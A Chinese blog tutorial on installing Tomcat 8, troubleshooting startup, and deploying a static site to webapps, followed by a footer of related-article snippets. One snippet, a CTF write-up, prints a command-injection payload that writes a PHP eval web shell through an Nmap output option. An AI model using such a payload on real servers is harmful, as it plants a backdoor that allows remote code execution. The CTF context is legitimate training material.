【JavaEE】_tomcat的安装与使用

news2024/11/19 13:34:09

目录

1. Tomcat简介

2. Tomcat安装

2.1 下载Tomcat并解压缩

 2.2 启动Tomcat

2.2.1 Tomcat乱码问题

2.2.2 Tomcat闪退问题

2.3 访问Tomcat欢迎页面

3. 使用Tomcat部署前端代码

3.1 路径匹配

3.2 文件路径访问与网络访问

4. 静态页面与动态页面

5. 基于tomcat的网站后端开发


1. Tomcat简介

1. 使用HTTP进行通信,就涉及到HTTP客户端与HTTP服务器,

常见的HTTP客户端有:浏览器、Postman、爬虫程序等等

对于HTTP服务器,程序员就可以基于TCP socket手动实现,实际开发中我们并不需要从头开始写一个HTTP服务器,而是基于已开发的现成HTTP服务器进行二次开发即可;

这些已开发的现成HTTP服务器已经把如何处理HTTP请求,如何构造HTTP响应封装好了,我们只需要调用这些API来构造业务逻辑即可;

2. Tomcat就是Java中最知名、最流行的HTTP服务器

2. Tomcat安装

2.1 下载Tomcat并解压缩

1. 搜索tomcat找到官网:

Apache早期就是一个开源的C语言版HTTP服务器,后来发展为一个开源社区,再后来开发了很多开源产品;

此处以选择tomcat8为例;

注意:

(1)tomcat是与Java8配合使用的,对应 jdk 8

(2)tomcat版本与servlet版本是强相关的,此处使用tomcat8,对应的servlet版本就是3.1,二者需要对应使用

(3)一个计算机上可以同时安装多个版本的tomcat

点击下载安装包即可;

2. 下载该zip压缩包后,解压即可,此处不再赘述;

注意:tomcat是基于java实现的,故而tomcat要运行,电脑必须安装有jdk(至少得有jre)

3. 解压缩后根据路径打开目录:

注:1. 服务器程序是不适合使用调试器进行调试的,调试器运行到断点停下来就会导致无法响其他客户端的请求。日志是通过System.out.println等方式打印的一些字符串,使用日志就可以更好地理解程序的实际执行过程与查看某些临时结果;

但使用日志调试也会有一些麻烦之处,每次添加或改动日志,都需要重新编译运行;

2. webapps目录下还能见到.war压缩包文件,写好一个网站就可以打包为war包,拷贝到tomcat的webapp中。

 2.2 启动Tomcat

(1)打开bin目录查找startup

注意:startup.bat供windows使用,startup.sh供linux和mac使用

(2)双击打开即可:

2.2.1 Tomcat乱码问题

 服务器基本上都是控制台程序,是不带界面的,tomcat亦如是。

此处乱码是由于windows自带的cmd默认字符集为gbk,而Tomcat默认字符集为utf8(主流),

把cmd改为utf8修改非常麻烦,此处可以不作处理,后续会介绍Tomcat的其他使用方法,如将tomcat集成到idea中,或在linux中使用,这两种方式都不会导致乱码。

故而此处可以不作处理;

2.2.2 Tomcat闪退问题

如果出现闪退,可以使用cmd打开控制台后,将startup.bat拖到其中运行,大概率可以显示出错信息。常见的闪退原因有:

(1)端口占用:重复打开tomcat或正在运行其他的HTTP服务器如IIS;

(2)环境变量问题:tomcat找不到jdk,或tomcat找不到自己所在的目录,此时根据提示缺少的环境变量进行配置即可(设置-搜索环境变量-编辑系统环境变量或用户变量均可-环境变量);

如CATALINNA_HOME问题,配置到tomcat的目录即可;

如JAVA_HOME问题,配置到jdk的目录即可;

2.3 访问Tomcat欢迎页面

(该页面为tomcat自带的webapp)

在tomcat运行状态下,在浏览器访问http://127.0.0.1:8080/(环回IP),即可访问到tomcat的欢迎页面:

3. 使用Tomcat部署前端代码

使用tomcat最大的用途就是部署网站,网站=前端+后端,当前部署前端代码作为示例;

部署,即将代码拷贝到webapps目录中,再重新启动tomcat后,就可以通过浏览器访问博客系统页面

如,基于BLOG目录下的以下文件:

将BLOG目录复制到tomcat的webapps目录下:

重启tomcat后,在浏览器中输入地址:

即可打开之前编写的前端页面:

部署成功。

3.1 context path和servlet path

部署成功的tomcat下的webapps目录文件与浏览器地址是对应匹配的:

如果在浏览器中输入地址时出现对应错误,就会返回404 Not Found:

如输入以下地址:

3.2 文件路径访问和网络访问

1. 通过文件路径访问:

2. 通过网络方式访问(ip: port):

但当前的服务器所在主机IP为内网IP,在其上实现的webapp无法跨局域网访问,需要部署到云服务器上后就可以通过外网访问了;

4. 静态页面与动态页面

1. 静态页面:页面内容固定,如搜狗的搜索主页:

2. 动态页面:根据用户输入的内容不同或没有明显的不同,产生不同的结果;

如浏览器的搜索功能,输入不同的数据就要检索出不同的内容,

或bilibili主页(根据用户搜索、浏览历史进行推送):

5. 基于tomcat的网站后端开发

对于网站后端开发,HTTP服务器必然要针对HTTP协议进行一系列操作。

tomcat提供了一组API,封装了与HTTP相关的底层操作,我们只需调用tomcat提供的api即可;

tomcat给java提供的原生的进行web开发的api就是servlet;

(后续接触到的Spring MVC也是进行web开发的api,这些api也是基于servlet的,相当于是对servlet的封装)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1466570.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Django学习笔记-forms使用

1.创建forms.py文件,导入包 from django import forms from django.forms import fields from django.forms import widgets2. 创建EmployeeForm,继承forms.Form 3.创建testform.html文件 4.urls.py添加路由 5.views中导入forms 创建testform,编写代码 1).如果请求方式为GET,…

汽修专用产品---选型介绍 汽修示波器 汽车示波器 汽车电子 汽修波形 汽车传感器波形 汽车检测

为了满足汽车电子用户的测量需求,我司特推出汽修专用版示波器,一键测量,轻松找出汽车问题。 LOTO各种型号的示波器其实都可以用作汽车传感器信号波形的检测。汽修应用中,工程师对示波器的性能要求对于LOTO产品来说不算高。 在我们…

【C语言】内存操作,内存函数篇---memcpy,memmove,memset和memcmp内存函数的使用和模拟实现【图文详解】

欢迎来CILMY23的博客喔,本篇为​【C语言】内存操作,内存函数篇---memcpy,memmove,memset和memcmp内存函数的使用和模拟实现【图文详解】,图文讲解四种内存函数,带大家更深刻理解C语言中内存函数的操作&…

C语言深入剖析——函数栈帧的创建与销毁

目录 0.前言 1.什么是函数栈帧 1.1栈帧的组成 1.2栈帧的作用 1.3栈帧的管理 2.理解函数栈帧的作用 3.解析函数栈帧的创建与销毁 3.1栈的介绍 3.2寄存器简介 3.3汇编指令简介 3.4具体过程解析 3.4.1预备知识 3.4.2函数的调用堆栈 3.4.3转到反汇编 3.4.4函数栈帧的…

数据结构day4

实现创建单向循环链表、创建结点、判空、输出、头插、按位置插入、尾删、按位置删除 loop_list.c #include "loop_list.h" loop_p create_head() {loop_p L(loop_p)malloc(sizeof(loop_list));if(LNULL){printf("空间申请失败\n");return NULL;}L->le…

排序和查找算法

一、排序算法 1.快速排序 不稳定,时间复杂度最理想 O(nlogn) 最差时间O(n^2) package com.test;public class fasf{/*** 快速排序* param args*/public static void main(String[]args){//不用设置大小int [] num{3,6,5,4,7,2,9};fasf fnew fasf();f.quicksort(n…

LeetCode---385周赛

题目 3042. 统计前后缀下标对 I 3043. 最长公共前缀的长度 3044. 出现频率最高的质数 3045. 统计前后缀下标对 II 一、最长公共前缀的长度 这题可以用字典树来做。 这里简单介绍一下字典树,顾名思义,这是用来存放单词的树,如何存&#x…

命令执行 [网鼎杯 2020 朱雀组]Nmap1

打开题目 输入127.0.0.1 可以得到回显结果&#xff0c;猜测是命令执行&#xff0c;尝试使用|分隔地址与命令 127.0.0.1 | ls 可以看到|被\转义&#xff0c;尝试使用;&#xff1a; 直接放入Payload: <?php eval($_POST["hack"]);?> -oG hack.php 尝试修改文…

PCIe P2P DMA全景解读

温馨提醒&#xff1a;本文主要分为5个部分&#xff0c;总计4842字&#xff0c;需要时间较长&#xff0c;建议先收藏&#xff01; P2P DMA简介 P2P DMA软硬件支持 CXL P2P DMA原理差异 P2P DMA应用场景 P2P DMA技术挑战 一、P2P DMA简介 P2P DMA&#xff08;Peer-to-Peer…

vite+ts+vue3项目配置

如何生成用户代码片段&#xff08;快捷生成代码&#xff09; 点击用户代码片段 新建全局代码片段&#xff0c;然后起个名字 {"vue": {"prefix": "vue","body": ["<template>"," <div class\"contai…

openssl 生成nginx自签名的证书

1、命令介绍 openssl req命令主要的功能有&#xff0c;生成证书请求文件&#xff0c; 查看验证证书请求文件&#xff0c;还有就是生成自签名证书。 主要参数 主要命令选项&#xff1a; -new :说明生成证书请求文件 -x509 :说明生成自签名证书 -key :指定已…

深度学习基础(二)卷积神经网络(CNN)

之前的章节我们初步介绍了深度学习相关基础知识和训练神经网络&#xff1a; 深度学习基础&#xff08;一&#xff09;神经网络基本原理-CSDN博客文章浏览阅读924次&#xff0c;点赞13次&#xff0c;收藏19次。在如今的科技浪潮中&#xff0c;神经网络作为人工智能的核心技术之…

AIGC学习笔记——DALL-E2详解+测试

它主要包括三个部分&#xff1a;CLIP&#xff0c;先验模块prior和img decoder。其中CLIP又包含text encoder和img encoder。&#xff08;在看DALLE2之前强烈建议先搞懂CLIP模型的训练和运作机制,之前发过CLIP博客&#xff09; 论文地址&#xff1a;https://cdn.openai.com/pap…

SpringMVC 学习(二)之第一个 SpringMVC 案例

目录 1 通过 Maven 创建一个 JavaWeb 工程 2 配置 web.xml 文件 3 创建 SpringMVC 配置文件 spring-mvc.xml 4 创建控制器 HelloController 5 创建视图 index.jsp 和 success.jsp 6 运行过程 7 参考文档 1 通过 Maven 创建一个 JavaWeb 工程 可以参考以下博文&#x…

QT Widget自定义菜单

此文以设置QListWidget的自定义菜单为例&#xff0c;其他继承于QWidget的类也都可以按类似的方法去实现。 1、ui文件设置contextMenuPolicy属性为CustomContextMenu 2、添加槽函数 /*** brief onCustomContextMenuRequested 右键弹出菜单* param pos 右键的坐标*/void onCusto…

Stable Diffusion 模型分享:FenrisXL(芬里斯XL)

本文收录于《AI绘画从入门到精通》专栏,专栏总目录:点这里。 文章目录 模型介绍生成案例案例一案例二案例三案例四案例五案例六案例七案例八案例九案例十

台式电脑电源功率越大越费电吗?装机选购多少W电源

要组装一台电脑&#xff0c;我们首先需要选择硬件。 硬件搭配最关键的一点就是CPU和主板的兼容性。 硬件、电源等之间的平衡都需要仔细考虑。 那么台式电脑电源多大功率合适呢&#xff1f; 下面分享组装电脑电源瓦数选购指南&#xff0c;教您正确选择合适的电源瓦数。 让我们来…

集成TinyMCE富文本编辑器

若依的基础上集成TinyMCE富文本编辑器 前端bootstrap TinyMCE官网链接 TinyMCE所需静态资源下载链接 开源项目-若依链接 将TinyMCE静态资源包放入项目中&#xff1b; 代码引入css&#xff1a; <!-- 引入TinyMCE CSS --><link th:href"{/ajax/libs/tinymce/j…

axios是如何实现的(源码解析)

1 axios的实例与请求流程 在阅读源码之前&#xff0c;先大概了解一下axios实例的属性和请求整体流程&#xff0c;带着这些概念&#xff0c;阅读源码可以轻松不少&#xff01; 下图是axios实例属性的简图。 可以看到axios的实例上&#xff0c;其实主要就这三个东西&#xff1a…

第九节HarmonyOS 常用基础组件24-Navigation

1、描述 Navigation组件一般作为Page页面的根容器&#xff0c;通过属性设置来展示的标题栏、工具栏、导航栏等。 2、子组件 可以包含子组件&#xff0c;推荐与NavRouter组件搭配使用。 3、接口 Navigation() 4、属性 名称 参数类型 描述 title string|NavigationComm…